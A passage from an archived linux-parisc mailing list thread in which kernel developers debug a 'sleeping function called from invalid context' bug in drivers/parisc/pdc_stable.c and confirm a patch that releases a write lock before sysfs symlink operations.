>  	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
>  	WARN_ON(ret);
>  
> -	write_unlock(&entry->rw_lock);
> -	
>  	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
>  		entry->name, buf);
>  	
> 

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid context at mm/slab.h:416
Date: Sun, 30 Jul 2017 14:21:04 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>  <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>  <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>  <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net> <1501428648.3670.1.camel@HansenPartnership.com> <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501438870 12676 195.159.176.226 (30 Jul 2017 18:21:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 18:21:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
        linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 20:21:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbspo-000659-Ec
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 20:21:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754194AbdG3SVG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 14:21:06 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:49183 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1754183AbdG3SVG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 14:21:06 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170730182104.ZRFS11720.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 30 Jul 2017 14:21:04 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by torspm01.bell.net with ESMTP
          id <20170730182104.PWQD32108.torspm01.bell.net@[192.168.2.25]>;
          Sun, 30 Jul 2017 14:21:04 -0400
In-Reply-To: <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=e4fpceh/ c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=K8USqDrGIeT09X96aK0A:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27605>

On 2017-07-30, at 2:12 PM, Meelis Roos wrote:

>> How about this?  There's no need to take the write lock when creating
>> links anyway.
> 
> No effect.

Is the backtrace still the same?

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 11:37:18 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <1501439838.3670.5.camel@HansenPartnership.com>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
          <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
          <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
          <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
         <1501428648.3670.1.camel@HansenPartnership.com>
         <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>
         <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1501439847 5426 195.159.176.226 (30 Jul 2017 18:37:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 18:37:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 20:37:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbt5d-00016V-M5
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 20:37:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754222AbdG3Sh1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 14:37:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43646 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1754194AbdG3Sh0 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 14:37:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id F3D7D8EE213;
        Sun, 30 Jul 2017 11:37:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id C91b-D2-uwHF; Sun, 30 Jul 2017 11:37:24 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.35.65.221])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0DAFB8EE0E2;
        Sun, 30 Jul 2017 11:37:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1501439842;
        bh=4a+p48/UI07yLs2NiuuU//qcjWOshPe1DBO2dKzXdIs=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=ZbpzmWUHuLRmc0Jq/B0OLUvvkAdXMiwMRSIOAAYDACv2TaxphjPQVG38SkIiCKfAx
         8Jf+LN38P8vD48Z0fGMDMZvQB49dOLXAPTBIqRXMnlSiw0xsMc5esjYaaYHrucbRN4
         H0m2Xv9dGqj9otS4cXYZywCAzUJbVoulGU0H0TAw=
In-Reply-To: <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net>
X-Mailer: Evolution 3.20.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27606
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27606>

On Sun, 2017-07-30 at 14:21 -0400, John David Anglin wrote:
> On 2017-07-30, at 2:12 PM, Meelis Roos wrote:
> 
> > 
> > > 
> > > How about this?  There's no need to take the write lock when
> > > creating
> > > links anyway.
> > 
> > No effect.
> 
> Is the backtrace still the same?

There's another write lock over a symlink in
pdcs_register_pathentries() does moving it up as well finally make this
go away (cumulative patch below).  If that doesn't work, enabling
DEBUG_PREEMPT might show which lock is the problem.

James

---

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 7147aa53e9a2..3e0c90420a1b 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -331,13 +331,13 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
 	/* Now, dive in. Write back to the hardware */
 	pdcspath_store(entry);
 	
+	write_unlock(&entry->rw_lock);
+
 	/* Update the symlink to the real device */
 	sysfs_remove_link(&entry->kobj, "device");
 	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
 	WARN_ON(ret);
 
-	write_unlock(&entry->rw_lock);
-	
 	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
 		entry->name, buf);
 	
@@ -998,6 +998,7 @@ pdcs_register_pathentries(void)
 		/* kobject is now registered */
 		write_lock(&entry->rw_lock);
 		entry->ready = 2;
+		write_unlock(&entry->rw_lock);
 		
 		/* Add a nice symlink to the real device */
 		if (entry->dev) {
@@ -1005,7 +1006,6 @@ pdcs_register_pathentries(void)
 			WARN_ON(err);
 		}
 
-		write_unlock(&entry->rw_lock);
 		kobject_uevent(&entry->kobj, KOBJ_ADD);
 	}
 	


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 20:53:34 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <e8bc3427-c359-d15b-8aa2-8e39d971fa36@gmx.de>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>
 <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>
 <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>
 <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>
 <1501428648.3670.1.camel@HansenPartnership.com>
 <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>
 <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net>
 <1501439838.3670.5.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1501440834 589 195.159.176.226 (30 Jul 2017 18:53:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 18:53:54 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 20:53:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbtLU-00085D-8T
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 20:53:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754502AbdG3Sxt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 14:53:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:52297 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754477AbdG3Sxt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 14:53:49 -0400
Original-Received: from [192.168.20.60] ([193.159.27.185]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LdHLB-1e2fRI00q9-00iUln; Sun, 30
 Jul 2017 20:53:37 +0200
In-Reply-To: <1501439838.3670.5.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:+T2pwd/7dn4o6RBj1mUpW0GMQosgRWKWF8HvTcltDsNTDx8Q+Rx
 B25UStnwABzNR/xETakSLYoHM9Liuxd/qKOOdvItgUcgkz8X1yCZ++9IRyqIof7z4IY5XXV
 DsUjOM9t724knr5tIumi/MBvoHz4BCnwAXNC229ztgf9TCYy8wqvvDQ4HKOgBbBaRx2Brja
 +TbvPpZmtoh5/3BP1y8Wg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/qfsyoS6dx8=:7g0YBsaOgA7ckplC3O0OI+
 YR1iHjTPOiGc5m7QigkcJb9nYs4kgiIZfvWQGCASK0BcKBtt/vnND2Ch736xAEo8x9YND95rI
 t2t2YxeXvH59093gcPBONLxpfNJx2k3RZydzGZ/vNHVTvGZN4P/OlB//+Ujl+9dOLjT5cOlaX
 j6Ty54UmCQTQFdP3u5KinutaICkiE3iIiPFW/jJKJ8PnG6OBboCgZrgCc/hEpZV8WUaV6A8Pj
 DVhAVGeynOxlXKgwQCdPhMy1cIlguhlAdftc+C5TVtN3xHXi52ogdXAe7tINAHr3hK12rd3ow
 tzoe4s00SlQojBfrwMIeq9kTjCBgw4O6XKyQR5Ny6SBfqamXmWFvm7vWoeywj+cRxJGgP1wMx
 EhDbRQMc0dYhrfuTnmIYBo3K0zmxLRonpOofnWwKfq2pHSjufuu3hvdu1RlE/PtK/nW2TN9qC
 YL/X5hyyB6mfNi5mja3K4/RYRWDnxih4UuexkkRdT0NUhIygu6BYA2fPEpGRUQkOcaa35Jg8M
 xQ6JAhXqIsAl7vL3Kpq35fNEgBBFEsmSk2SxwniARfGaHkvDbl+cgsVxxUGDw+hqdOpNR15Z+
 ACEPkXWES08wStuqic05eJh3pRr4SOFrzZt5RpDof+WEAtA3lxzHPIUm3kppu5WcCx7ueKZH/
 m3DHZA5g+rJjrhsJf/v0fc+CfrhdY1Zv2lhi9AEE/zOrUuNbMNvTXhaXG6sOpej34zhPk71Fv
 3AAhPWnG6XAwd3W6XHlnp1/WUxkKiX7pvEn/KuYAuvg8bdZPpGEfErMsVVgZTZG8Nwnq1JyL 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27607>

On 30.07.2017 20:37, James Bottomley wrote:
> On Sun, 2017-07-30 at 14:21 -0400, John David Anglin wrote:
>> On 2017-07-30, at 2:12 PM, Meelis Roos wrote:
>>
>>>
>>>>
>>>> How about this?  There's no need to take the write lock when
>>>> creating
>>>> links anyway.
>>>
>>> No effect.
>>
>> Is the backtrace still the same?
> 
> There's another write lock over a symlink in
> pdcs_register_pathentries() does moving it up as well finally make this
> go away (cumulative patch below).  If that doesn't work, enabling
> DEBUG_PREEMPT might show which lock is the problem.


That patch works.

Helge

> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
> index 7147aa53e9a2..3e0c90420a1b 100644
> --- a/drivers/parisc/pdc_stable.c
> +++ b/drivers/parisc/pdc_stable.c
> @@ -331,13 +331,13 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
>  	/* Now, dive in. Write back to the hardware */
>  	pdcspath_store(entry);
>  	
> +	write_unlock(&entry->rw_lock);
> +
>  	/* Update the symlink to the real device */
>  	sysfs_remove_link(&entry->kobj, "device");
>  	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
>  	WARN_ON(ret);
>  
> -	write_unlock(&entry->rw_lock);
> -	
>  	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
>  		entry->name, buf);
>  	
> @@ -998,6 +998,7 @@ pdcs_register_pathentries(void)
>  		/* kobject is now registered */
>  		write_lock(&entry->rw_lock);
>  		entry->ready = 2;
> +		write_unlock(&entry->rw_lock);
>  		
>  		/* Add a nice symlink to the real device */
>  		if (entry->dev) {
> @@ -1005,7 +1006,6 @@ pdcs_register_pathentries(void)
>  			WARN_ON(err);
>  		}
>  
> -		write_unlock(&entry->rw_lock);
>  		kobject_uevent(&entry->kobj, KOBJ_ADD);
>  	}
>  	
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid
 context at mm/slab.h:416
Date: Sun, 30 Jul 2017 22:08:02 +0300 (EEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1707302207430.27473@math.ut.ee>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee>   <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net>   <alpine.LRH.2.20.1707300947250.27473@math.ut.ee>   <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net>  <1501428648.3670.1.camel@HansenPartnership.com>
  <alpine.LRH.2.20.1707302112140.27473@math.ut.ee>  <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net> <1501439838.3670.5.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501441691 2727 195.159.176.226 (30 Jul 2017 19:08:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 19:08:11 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 21:08:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbtZI-00005O-74
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 21:08:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754417AbdG3TIF convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 15:08:05 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:54229 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754291AbdG3TIF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 15:08:05 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 5518890127;
        Sun, 30 Jul 2017 22:08:04 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 45265221A2C; Sun, 30 Jul 2017 22:08:02 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 716D22218B6;
        Sun, 30 Jul 2017 22:08:02 +0300 (EEST)
In-Reply-To: <1501439838.3670.5.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27608>

> > > 
> > > > 
> > > > How about this?  There's no need to take the write lock when
> > > > creating
> > > > links anyway.
> > > 
> > > No effect.
> > 
> > Is the backtrace still the same?
> 
> There's another write lock over a symlink in
> pdcs_register_pathentries() does moving it up as well finally make this
> go away (cumulative patch below).  If that doesn't work, enabling
> DEBUG_PREEMPT might show which lock is the problem.

This patch works for me too.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.13-git, BUG: sleeping function called from invalid context at mm/slab.h:416
Date: Sun, 30 Jul 2017 15:27:18 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <125F36DF-D194-442C-8B12-B51633C5955B@bell.net>
References: <alpine.LRH.2.20.1707292206210.12687@math.ut.ee> <CEB1A532-3AAD-4A4D-9A34-12A2477BE87F@bell.net> <alpine.LRH.2.20.1707300947250.27473@math.ut.ee> <F79536F1-AB2B-435C-A127-A1DFB4AC9CE0@bell.net> <1501428648.3670.1.camel@HansenPartnership.com> <alpine.LRH.2.20.1707302112140.27473@math.ut.ee> <15C99B92-DFB7-4B86-A280-2D491A5907CB@bell.net> <1501439838.3670.5.camel@HansenPartnership.com> <e8bc3427-c359-d15b-8aa2-8e39d971fa36@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501442842 29182 195.159.176.226 (30 Jul 2017 19:27:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 30 Jul 2017 19:27:22 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
        Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 30 21:27:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dbtrv-0007IW-0M
	for glpp-linux-parisc@m.gmane.org; Sun, 30 Jul 2017 21:27:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754301AbdG3T1V convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 30 Jul 2017 15:27:21 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:42100 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1754228AbdG3T1U (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 30 Jul 2017 15:27:20 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170730192719.HIUU14656.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 30 Jul 2017 15:27:19 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by mtlspm02.bell.net with ESMTP
          id <20170730192719.DLSB14758.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 30 Jul 2017 15:27:19 -0400
In-Reply-To: <e8bc3427-c359-d15b-8aa2-8e39d971fa36@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=G3gG6ho9WtcA:10 a=FBHGMhGWAAAA:8 a=-W5W5lcrF7J8wBZp1SwA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27609>

On 2017-07-30, at 2:53 PM, Helge Deller wrote:

> On 30.07.2017 20:37, James Bottomley wrote:
>> On Sun, 2017-07-30 at 14:21 -0400, John David Anglin wrote:
>>> On 2017-07-30, at 2:12 PM, Meelis Roos wrote:
>>> 
>>>> 
>>>>> 
>>>>> How about this?  There's no need to take the write lock when
>>>>> creating
>>>>> links anyway.
>>>> 
>>>> No effect.
>>> 
>>> Is the backtrace still the same?
>> 
>> There's another write lock over a symlink in
>> pdcs_register_pathentries() does moving it up as well finally make this
>> go away (cumulative patch below).  If that doesn't work, enabling
>> DEBUG_PREEMPT might show which lock is the problem.
> 
> 
> That patch works.

Same here.

I noticed that when CONFIG_PDC_STABLE=m, it appears the PDC stable links are not setup.
The "PDC Stable Storage facility v0.30" message doesn't appear in the console output.

> 
> Helge
> 
>> diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
>> index 7147aa53e9a2..3e0c90420a1b 100644
>> --- a/drivers/parisc/pdc_stable.c
>> +++ b/drivers/parisc/pdc_stable.c
>> @@ -331,13 +331,13 @@ pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t coun
>> 	/* Now, dive in. Write back to the hardware */
>> 	pdcspath_store(entry);
>> 	
>> +	write_unlock(&entry->rw_lock);
>> +
>> 	/* Update the symlink to the real device */
>> 	sysfs_remove_link(&entry->kobj, "device");
>> 	ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
>> 	WARN_ON(ret);
>> 
>> -	write_unlock(&entry->rw_lock);
>> -	
>> 	printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
>> 		entry->name, buf);
>> 	
>> @@ -998,6 +998,7 @@ pdcs_register_pathentries(void)
>> 		/* kobject is now registered */
>> 		write_lock(&entry->rw_lock);
>> 		entry->ready = 2;
>> +		write_unlock(&entry->rw_lock);
>> 		
>> 		/* Add a nice symlink to the real device */
>> 		if (entry->dev) {
>> @@ -1005,7 +1006,6 @@ pdcs_register_pathentries(void)
>> 			WARN_ON(err);
>> 		}
>> 
>> -		write_unlock(&entry->rw_lock);
>> 		kobject_uevent(&entry->kobj, KOBJ_ADD);
>> 	}


Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Handle vma's whose context is not current in flush_cache_range
Date: Sun, 30 Jul 2017 16:20:19 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <2F93578B-24A8-46DB-AE61-A05C8E118A4C@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-23--847190403
X-Trace: blaine.gmane.org 1501446024 19902 195.159.176.226 (30 Jul 2017 20:20:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
